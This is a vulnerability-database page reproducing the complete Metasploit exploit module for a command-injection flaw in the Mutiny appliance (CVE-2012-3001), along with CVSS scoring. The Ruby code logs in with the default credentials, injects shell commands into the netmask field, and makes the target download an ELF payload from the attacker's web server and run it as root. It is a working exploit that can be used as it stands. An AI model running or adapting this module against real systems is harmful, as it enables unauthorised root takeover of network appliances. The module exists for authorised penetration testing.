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metasploitChristopher Campbell, juan vazquez <[email protected]>MSF:EXPLOIT-MULTI-HTTP-MUTINY_SUBNETMASK_EXEC-
HistoryMar 07, 2013 - 6:12 p.m.

Mutiny Remote Command Execution

2013-03-0718:12:25
Christopher Campbell, juan vazquez <[email protected]>
www.rapid7.com
28

CVSS2

8.5

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

SINGLE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:S/C:C/I:C/A:C

AI Score

7.1

Confidence

Low

This module exploits an authenticated command injection vulnerability in the Mutiny appliance. Versions prior to 4.5-1.12 are vulnerable. In order to exploit the vulnerability the mutiny user must have access to the admin interface. The injected commands are executed with root privileges. This module has been tested successfully on Mutiny 4.2-1.05.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Mutiny Remote Command Execution',
      'Description'    => %q{
          This module exploits an authenticated command injection vulnerability in the
        Mutiny appliance. Versions prior to 4.5-1.12 are vulnerable. In order to exploit
        the vulnerability the mutiny user must have access to the admin interface. The
        injected commands are executed with root privileges. This module has been tested
        successfully on Mutiny 4.2-1.05.
      },
      'Author'         =>
        [
          'Christopher Campbell', # Vulnerability discovery
          'juan vazquez'          # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2012-3001'],
          ['OSVDB', '86570'],
          ['BID', '56165'],
          ['US-CERT-VU', '841851'],
          ['URL', 'http://obscuresecurity.blogspot.com.es/2012/10/mutiny-command-injection-and-cve-2012.html']
        ],
      'Privileged'     => true,
      'Platform'       => %w{ linux unix },
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 4000
        },
      'Targets'        =>
        [
          [ 'Unix CMD',
            {
              'Arch' => ARCH_CMD,
              'Platform' => 'unix',
              #'Payload'        =>
              #	{
              #		'Compat'   =>
              #			{
              #				'PayloadType' => 'cmd',
              #				'RequiredCmd' => 'python'
              #			}
              #	},
            }
          ],
          [ 'Linux Payload',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            }
          ]
        ],
      'DisclosureDate' => '2012-10-22',
      'DefaultTarget' => 1))

    register_options(
      [
        OptString.new('TARGETURI', [ true, 'The base path to Mutiny', '/interface/' ]),
        OptString.new('USERNAME', [ true, 'The user to authenticate as', 'admin' ]),
        OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'mutiny' ])
      ])

    self.needs_cleanup = true
  end

  def lookup_lhost()
    # Get the source address
    if datastore['SRVHOST'] == '0.0.0.0'
      Rex::Socket.source_address('50.50.50.50')
    else
      datastore['SRVHOST']
    end
  end

  def on_new_session(session)
    cmds = []
    cmds = [
      %Q|echo #{@netmask_eth0} > /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask|,
      %Q|tr -d "\\n\\r" < /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask > /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask.bak|,
      %Q|mv -f /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask.bak /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask|,
      %Q|sed -e s/NETMASK=.*/NETMASK=#{@netmask_eth0}/ ifcfg-eth0 > ifcfg-eth0.bak|,
      %Q|mv -f ifcfg-eth0.bak ifcfg-eth0|,
      %Q|/etc/init.d/network restart|
    ] if @netmask_eth0
    cmds << %Q|rm /tmp/#{@elfname}.elf| unless target.name =~ /CMD/

    print_status("Restoring Network Information and Cleanup...")
    begin
      session.shell_command_token(cmds.join(" ; "))
    rescue
      print_error("Automatic restore and cleanup didn't work, please use these commands:")
      cmds.each { |cmd|
        print_warning(cmd)
      }
    end
    print_good("Restoring and Cleanup successful")
  end

  def start_web_service
    print_status("Setting up the Web Service...")

    resource_uri = '/' + @elfname + '.elf'
    service_url = "http://#{lookup_lhost}:#{datastore['SRVPORT']}#{resource_uri}"

    print_status("Starting up our web service on #{service_url} ...")
    start_service({'Uri' => {
      'Proc' => Proc.new { |cli, req|
        on_request_uri(cli, req)
      },
      'Path' => resource_uri
    },
    'ssl' => false # do not use SSL
    })

    return service_url
  end

  # wait for the data to be sent
  def wait_linux_payload
    print_status("Waiting for the victim to request the ELF payload...")

    waited = 0
    while (not @elf_sent)
      select(nil, nil, nil, 1)
      waited += 1
      if (waited > datastore['HTTP_DELAY'])
        fail_with(Failure::Unknown, "Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
      end
    end

    #print_status("Giving time to the payload to execute...")
    #select(nil, nil, nil, 20) unless session_created?
  end

  # Handle incoming requests from the target
  def on_request_uri(cli, request)
    vprint_status("on_request_uri called, #{request} requested")

    if (not @elf_data)
      print_error("A request came in, but the ELF archive wasn't ready yet!")
      return
    end

    print_good("Sending the ELF payload to the target...")
    @elf_sent = true
    send_response(cli, @elf_data)
  end

  def check
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'logon.jsp'),
    })

    if res and res.body =~ /: Mutiny : Login @ mutiny/
      return Exploit::CheckCode::Detected
    end

    return Exploit::CheckCode::Safe
  end

  def exploit

    print_status("Login with the provided credentials...")

    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'logon.do'),
      'vars_post' =>
      {
        'username' => datastore['USERNAME'],
        'password' => datastore['PASSWORD']
      }
    })

    if res and res.code == 302 and res.headers['Location'] =~ /index.do/ and res.get_cookies =~ /JSESSIONID=(.*);/
      print_good("Login Successful")
      session = $1
    else
      fail_with(Failure::NoAccess, "#{peer} - Unable to login in Mutiny")
    end

    print_status("Leaking current Network Information...")

    res = send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path, 'admin', 'cgi-bin', 'netconfig'),
      'cookie'    => "JSESSIONID=#{session}",
    })

    if res and res.code == 200 and res.body =~ /Ethernet Interfaces/
      address_eth0 = (res.body =~ /<input type="text" value="(.*)" name="addresseth0" class="textInput" \/>/ ? $1 : "")
      @netmask_eth0 = (res.body =~ /<input type="text" value="(.*)" name="netmasketh0" class="textInput" \/>/ ? $1 : "")
      gateway = (res.body =~ /<input type="text" name="Gateway" value= "(.*)" class="textInput">/ ? $1 : "")
      dns_address = (res.body =~ /<input type="text" value="(.*)" name="dnsaddress0" class="textInput">/ ? $1 : "")
      static_route_address = (res.body =~ /<input class="textInput" type="text" name="staticRouteAddress" value="(.*)" \/>/ ? $1 : "")
      static_route_netmask = (res.body =~ /<input class="textInput" type="text" name="staticRouteNetmask" value="(.*)" \/>/ ? $1 : "")
      static_route_gateway = (res.body =~ /<input class="textInput" type="text" name="staticRouteGateway" value="(.*)" \/>/ ? $1 : "")
      print_good("Information leaked successfully")
    else
      print_error("Error leaking information, trying to exploit with random values")
    end

    if target.name =~ /CMD/
      injection = @netmask_eth0.dup || rand_text_alpha(5 + rand(3))
      injection << "; #{payload.encoded}"
    else
      print_status("Generating the ELF Payload...")
      @elf_data = generate_payload_exe
      @elfname = Rex::Text.rand_text_alpha(3+rand(3))
      service_url = start_web_service
      injection = @netmask_eth0.dup || rand_text_alpha(5 + rand(3))
      injection << "; lynx -source \"#{service_url}\" > /tmp/#{@elfname}.elf"
      injection << "; chmod +x /tmp/#{@elfname}.elf"
      injection << "; /tmp/#{@elfname}.elf"

    end

    print_status("Exploiting Command Injection...")

    send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'admin', 'cgi-bin', 'netconfig'),
      'cookie'    => "JSESSIONID=#{session}",
      'vars_post' =>
      {
        "addresseth0" => address_eth0 || rand_text_alpha(5 + rand(3)),
        "netmasketh0" => injection,
        "Gateway" => gateway || rand_text_alpha(5 + rand(3)),
        "dnsaddress0" => dns_address || rand_text_alpha(5 + rand(3)),
        "staticRouteAddress" => static_route_address || rand_text_alpha(5 + rand(3)),
        "staticRouteNetmask" => static_route_netmask || rand_text_alpha(5 + rand(3)),
        "staticRouteGateway" => static_route_gateway || rand_text_alpha(5 + rand(3))
      }
    }, 1)

    if target.name =~ /Linux Payload/
      wait_linux_payload
    end
  end



end

CVSS2

8.5

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

SINGLE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:S/C:C/I:C/A:C

AI Score

7.1

Confidence

Low

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